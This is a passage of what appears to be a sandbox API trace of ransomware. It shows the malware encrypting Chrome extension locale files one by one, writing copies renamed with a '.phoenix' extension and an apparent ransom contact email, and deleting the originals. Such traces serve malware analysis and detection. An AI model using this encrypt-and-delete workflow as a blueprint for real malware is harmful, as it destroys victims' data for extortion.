	[0256.738] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xfe, lpOverlapped=0x0) returned 1
	[0256.739] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100, dwBufLen=0x100 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100) returned 1
	[0256.739] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x100, lpOverlapped=0x0) returned 1
	[0256.739] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0256.739] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.739] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0256.739] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.739] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0256.740] CryptDestroyKey (hKey=0x151500) returned 1
	[0256.740] CloseHandle (hObject=0x2b4) returned 1
	[0256.740] CloseHandle (hObject=0x300) returned 1
	[0256.740] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json")) returned 1
	[0256.741] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0256.741] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0256.742] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=227) returned 1
	[0256.742] CloseHandle (hObject=0x300) returned 1
	[0256.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json")) returned 0x20
	[0256.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.742] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0256.742] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.742] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.742] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.742] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0256.743] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.743] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe3, lpOverlapped=0x0) returned 1
	[0256.743] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0256.743] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0256.744] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0256.744] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.744] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0256.744] CryptDestroyKey (hKey=0x151780) returned 1
	[0256.744] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0256.744] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.744] CloseHandle (hObject=0x300) returned 1
	[0256.744] CloseHandle (hObject=0x2b4) returned 1
	[0256.745] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json")) returned 1
	[0256.748] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0256.748] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0256.749] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=264) returned 1
	[0256.749] CloseHandle (hObject=0x2d8) returned 1
	[0256.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json")) returned 0x20
	[0256.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.749] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0256.749] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.749] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.749] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.750] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0256.750] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.750] ReadFile (in: hFile=0x2d8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x108, lpOverlapped=0x0) returned 1
	[0256.751] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0256.751] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0256.751] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0256.752] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.752] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0256.752] CryptDestroyKey (hKey=0x151380) returned 1
	[0256.752] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0256.752] CryptDestroyKey (hKey=0x151040) returned 1
	[0256.752] CloseHandle (hObject=0x2d8) returned 1
	[0256.752] CloseHandle (hObject=0x2b4) returned 1
	[0256.752] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json")) returned 1
	[0256.753] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0256.753] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.754] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=225) returned 1
	[0256.754] CloseHandle (hObject=0x2b4) returned 1
	[0256.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json")) returned 0x20
	[0256.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.754] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.754] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.754] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.754] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0256.755] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0256.755] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.755] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe1, lpOverlapped=0x0) returned 1
	[0256.756] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0256.756] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0256.756] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151740) returned 1
	[0256.756] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.756] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0256.757] CryptDestroyKey (hKey=0x151740) returned 1
	[0256.757] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0256.757] CryptDestroyKey (hKey=0x151500) returned 1
	[0256.757] CloseHandle (hObject=0x2b4) returned 1
	[0256.757] CloseHandle (hObject=0x2d8) returned 1
	[0256.757] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json")) returned 1
	[0256.758] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0256.758] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0256.758] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=206) returned 1
	[0256.758] CloseHandle (hObject=0x2d8) returned 1
	[0256.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json")) returned 0x20
	[0256.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.758] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0256.759] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.759] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.759] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.759] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0256.759] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.759] ReadFile (in: hFile=0x2d8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xce, lpOverlapped=0x0) returned 1
	[0256.760] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0, dwBufLen=0xd0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0) returned 1
	[0256.760] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xd0, lpOverlapped=0x0) returned 1
	[0256.761] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151180) returned 1
	[0256.761] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.761] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0256.761] CryptDestroyKey (hKey=0x151180) returned 1
	[0256.761] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0256.761] CryptDestroyKey (hKey=0x151500) returned 1
	[0256.761] CloseHandle (hObject=0x2d8) returned 1
	[0256.761] CloseHandle (hObject=0x2b4) returned 1
	[0256.761] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json")) returned 1
	[0256.762] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0256.762] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.763] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=206) returned 1
	[0256.763] CloseHandle (hObject=0x2b4) returned 1
